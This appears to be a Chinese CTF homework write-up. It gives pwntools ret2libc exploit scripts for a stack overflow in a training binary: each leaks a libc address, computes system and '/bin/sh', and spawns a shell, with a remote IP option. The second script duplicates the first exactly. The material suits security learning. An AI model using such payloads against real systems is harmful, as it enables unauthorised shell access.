zoukankan      html  css  js  c++  java
  • 掘安作业二

    思路:有低级魔法和高级魔法两部分,经分析,在选项四处存在栈溢出漏洞,两题目我都使用了ret2libc的方法,成功获得shell。

    低级魔法脚本:

    # -*- coding:utf-8 -*-

    from pwn import *

    from LibcSearcher import *

    context.log_level = "debug"

    elf = ELF("pwn")

    debugg=1 #0表示远程调试,1表示本地调试

    sh = 0.

    lib = 0

    def pwn(ip,port,debug):

           global sh

           global lib

          

           if(debug == 1):

                  sh = process("./pwn")

           else:

                  sh = remote(ip,port)

                  #lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")

           #catFlag = 0x08048847

           offset = 22

           sh.recv()

           sh.sendline("4")

           sh.recvuntil("You are one step short of success ")

          

        payload1=offset*'a'+p32(elf.plt['puts'])+p32(0x0804862E)+p32(elf.got['__libc_start_main'])

           sh.send(payload1)#应该将send改为sendline

           addr__libc_start_main=u32(sh.recv(4))#获取本程序进程中__libc_start_main的地址

          

           obj = LibcSearcher("__libc_start_main", addr__libc_start_main)#libcsearch大法启动

           baseaddr_libc=addr__libc_start_main-obj.dump("__libc_start_main")

           addr_system=baseaddr_libc+obj.dump("system")#获得sytem地址

           addr_binsh=baseaddr_libc+obj.dump("str_bin_sh")#获得/bin/sh的地址

           #print addr_system

           #print addr_binsh

           #addr_read=baseaddr_libc+obj.dump("read")

           sh.sendline("4")

           sh.recv()

           #addr_bss=0x0804a040

           #pppr=0x0804876d

    #payload2=offset*"a"+p32(elf.plt['read'])+p32(pppr)+p32(0)+p32(addr_bss)+p32(8)+p32(addr_system)+p32(0x11111111)+p32(addr_bss) #/bin/shx00 共8个字节

           payload2=offset*'a'+p32(addr_system)+p32(0x11111111)+p32(addr_binsh)

           sh.sendline(payload2) 

           #sh.send("/bin/shx00")

           sh.interactive()

          

    if __name__ == "__main__":

           pwn("101.132.100.243",10011,debugg)

    高级魔法脚本:

    # -*- coding:utf-8 -*-

    from pwn import *

    from LibcSearcher import *

    context.log_level = "debug"

    elf = ELF("pwn")

    debugg=1 #0表示远程调试,1表示本地调试

    sh = 0.

    lib = 0

    def pwn(ip,port,debug):

           global sh

           global lib

          

           if(debug == 1):

                  sh = process("./pwn")

           else:

                  sh = remote(ip,port)

                  #lib = ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")

           #catFlag = 0x08048847

           offset = 22

           sh.recv()

           sh.sendline("4")

           sh.recvuntil("You are one step short of success ")

          

        payload1=offset*'a'+p32(elf.plt['puts'])+p32(0x0804862E)+p32(elf.got['__libc_start_main'])

           sh.send(payload1)#应该将send改为sendline

           addr__libc_start_main=u32(sh.recv(4))#获取本程序进程中__libc_start_main的地址

          

           obj = LibcSearcher("__libc_start_main", addr__libc_start_main)#libcsearch大法启动

           baseaddr_libc=addr__libc_start_main-obj.dump("__libc_start_main")

           addr_system=baseaddr_libc+obj.dump("system")#获得sytem地址

           addr_binsh=baseaddr_libc+obj.dump("str_bin_sh")#获得/bin/sh的地址

           #print addr_system

           #print addr_binsh

           #addr_read=baseaddr_libc+obj.dump("read")

           sh.sendline("4")

           sh.recv()

           #addr_bss=0x0804a040

           #pppr=0x0804876d

    #payload2=offset*"a"+p32(elf.plt['read'])+p32(pppr)+p32(0)+p32(addr_bss)+p32(8)+p32(addr_system)+p32(0x11111111)+p32(addr_bss) #/bin/shx00 共8个字节

           payload2=offset*'a'+p32(addr_system)+p32(0x11111111)+p32(addr_binsh)

           sh.sendline(payload2) 

           #sh.send("/bin/shx00")

           sh.interactive()

          

    if __name__ == "__main__":

           pwn("101.132.100.243",10011,debugg)

  • 相关阅读:
    spring的@Transactional注解详细用法
    java中线程池的使用方法
    Java中多线程使用匿名内部类的方式进行创建3种方式
    RISC-V指令集的诞生,"V"也表示变化(variation)和向量(vectors)
    雷军致全员公开信:明天,让我们一起见证伟大时刻!(估值543亿美元,中国的山寨机已被彻底消灭,通过生态链产品改变了100多个行业,全面推动了商业效率的提升,上市仅仅是小米新的开始)
    C语言利用 void 类型指针实现面向对象类概念与抽象
    Google、Mozilla、Qt、LLVM 这几家的规范是明确禁用异常的
    Qt程序调试之Q_ASSERT断言(它是一个宏,接受布尔值,当其中的布尔值为真时,便什么也不做)
    ES 1.7安装ik分词elasticsearch-analysis-ik-1.2.5中文同义词实现
    Windows 64下elasticsearch-1.7.1集群 安装、启动、停止
  • 原文地址:https://www.cnblogs.com/HYWZ36/p/11254938.html
Copyright © 2011-2022 走看看